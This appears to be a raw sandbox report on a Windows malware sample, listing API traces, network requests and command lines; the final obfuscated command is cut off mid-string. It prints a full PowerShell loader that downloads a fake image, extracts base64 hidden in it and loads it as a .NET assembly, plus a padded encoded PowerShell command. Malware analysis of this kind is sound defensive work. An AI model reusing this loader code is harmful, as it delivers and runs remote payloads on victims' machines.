 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000001cf
1 1 0

WriteConsoleW

 buffer: You cannot call a method on a null-valued expression.
console_handle: 0x000001ef
1 1 0

WriteConsoleW

 buffer: At line:1 char:350
console_handle: 0x000001fb
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/654/536/original/new_i
console_handle: 0x00000207
1 1 0

WriteConsoleW

 buffer: mage.jpg?1698957750';$webClient = New-Object System.Net.WebClient;$imageBytes =
console_handle: 0x00000213
1 1 0

WriteConsoleW

 buffer: $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.G
console_handle: 0x0000021f
1 1 0

WriteConsoleW

 buffer: etString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>
console_handle: 0x0000022b
1 1 0

WriteConsoleW

 buffer: >';$startIndex = $imageText.IndexOf <<<< ($startFlag);$endIndex = $imageText.In
console_handle: 0x00000237
1 1 0

WriteConsoleW

 buffer: dexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex +=
console_handle: 0x00000243
1 1 0

WriteConsoleW

 buffer: $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $im
console_handle: 0x0000024f
1 1 0

WriteConsoleW

 buffer: ageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]:
console_handle: 0x0000025b
1 1 0

WriteConsoleW

 buffer: :FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly
console_handle: 0x00000267
1 1 0

WriteConsoleW

 buffer: ]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method =
console_handle: 0x00000273
1 1 0

WriteConsoleW

 buffer: $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LkFNSC8wMDUvNjkxLjUyMi43M
console_handle: 0x0000027f
1 1 0

WriteConsoleW

 buffer: jEuODgxLy86cHR0aA==' , '' , '2' , 'regasm' , '5' , 'C:\ProgramData\', 'htmlb'))
console_handle: 0x0000028b
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (IndexOf:String) [], RuntimeEx
console_handle: 0x00000297
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220308
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220888
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220888
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220888
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220a88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220a88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220a88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220a88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220a88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220a88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002202c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002202c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002202c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220888
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220888
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220888
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0021fec8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220888
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220888
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220888
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220888
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220888
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220888
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220888
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220c08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220c08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220c08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220c08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220c08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220c08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220c08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220c08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220c08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220c08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220c08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220c08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220c08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220c08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220b48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00220b48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00471ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004726a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004726a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004726a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00471d68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00471d68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00471d68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00471d68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00471d68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00471d68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
request GET http://apps.identrust.com/roots/dstrootcax3.p7c
request GET https://paste.ee/d/U1LNm
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 1441792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02930000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026aa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a51000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a52000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026da000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026eb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026dc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05080000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05130000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05131000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05132000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05133000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05134000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05135000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05136000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05137000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05138000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05139000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0513a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0513b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0513c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0513d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0513e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0513f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05140000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05141000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05142000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05143000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05144000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell -command "$Codigo = 'SQButPomkONRKFYtPomkONRKTwBLtPomkONRKGUtPomkONRKLQBltPomkONRKFgtPomkONRKUtPomkONRKBytPomkONRKGUtPomkONRKUwBTtPomkONRKGktPomkONRKbwBOtPomkONRKCtPomkONRKtPomkONRKKtPomkONRKtPomkONRKgtPomkONRKCgtPomkONRKKtPomkONRKtPomkONRKntPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQtPomkONRKntPomkONRKCstPomkONRKJwBVtPomkONRKHItPomkONRKbtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQBotPomkONRKHQtPomkONRKdtPomkONRKBwtPomkONRKHMtPomkONRKOgtPomkONRKvtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKC8tPomkONRKdQBwtPomkONRKGwtPomkONRKbwBhtPomkONRKGQtPomkONRKZtPomkONRKBltPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQButPomkONRKHMtPomkONRKLgBjtPomkONRKG8tPomkONRKbQtPomkONRKutPomkONRKGItPomkONRKcgtPomkONRKvtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQBztPomkONRKC8tPomkONRKMtPomkONRKtPomkONRKwtPomkONRKDQtPomkONRKLwtPomkONRK2tPomkONRKDUtPomkONRKNtPomkONRKtPomkONRKvtPomkONRKDUtPomkONRKMwtPomkONRK2tPomkONRKC8tPomkONRKbwBytPomkONRKGktPomkONRKZwBptPomkONRKG4tPomkONRKYQBstPomkONRKC8tPomkONRKbgBltPomkONRKHctPomkONRKXwBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKLgtPomkONRKntPomkONRKCstPomkONRKJwBqtPomkONRKHtPomkONRKtPomkONRKZwtPomkONRK/tPomkONRKDEtPomkONRKNgtPomkONRK5tPomkONRKDgtPomkONRKOQtPomkONRK1tPomkONRKDctPomkONRKNwtPomkONRK1tPomkONRKDtPomkONRKtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKB3tPomkONRKGUtPomkONRKYgBDtPomkONRKGwtPomkONRKaQBltPomkONRKG4tPomkONRKdtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBOtPomkONRKGUtPomkONRKdwtPomkONRKntPomkONRKCstPomkONRKJwtPomkONRKttPomkONRKE8tPomkONRKYgBqtPomkONRKGUtPomkONRKYwB0tPomkONRKCtPomkONRKtPomkONRKUwB5tPomkONRKHMtPomkONRKdtPomkONRKBltPomkONRKG0tPomkONRKLgBOtPomkONRKGUtPomkONRKdtPomkONRKtPomkONRKutPomkONRKFctPomkONRKZQBitPomkONRKEMtPomkONRKbtPomkONRKBptPomkONRKGUtPomkONRKbgB0tPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKDstPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKEItPomkONRKeQB0tPomkONRKGUtPomkONRKcwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKB3tPomkONRKGUtPomkONRKYgBDtPomkONRKGwtPomkONRKaQBltPomkONRKG4tPomkONRKdtPomkONRKtPomkONRKutPomkONRKEQtPomkONRKbwB3tPomkONRKG4tPomkONRKbtPomkONRKBvtPomkONRKGEtPomkONRKZtPomkONRKBEtPomkONRKGEtPomkONRKdtPomkONRKBhtPomkONRKCgtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKFUtPomkONRKcgBstPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBbtPomkONRKFMtPomkONRKeQBztPomkONRKHQtPomkONRKZQBttPomkONRKC4tPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKutPomkONRKEUtPomkONRKbgBjtPomkONRKG8tPomkONRKZtPomkONRKBptPomkONRKG4tPomkONRKZwBdtPomkONRKDotPomkONRKOgBVtPomkONRKFQtPomkONRKRgtPomkONRK4tPomkONRKC4tPomkONRKRwBltPomkONRKHQtPomkONRKUwB0tPomkONRKHItPomkONRKaQButPomkONRKGctPomkONRKKtPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKQgB5tPomkONRKHQtPomkONRKZQBztPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKYQBytPomkONRKHQtPomkONRKRgBstPomkONRKGEtPomkONRKZwtPomkONRKgtPomkONRKD0tPomkON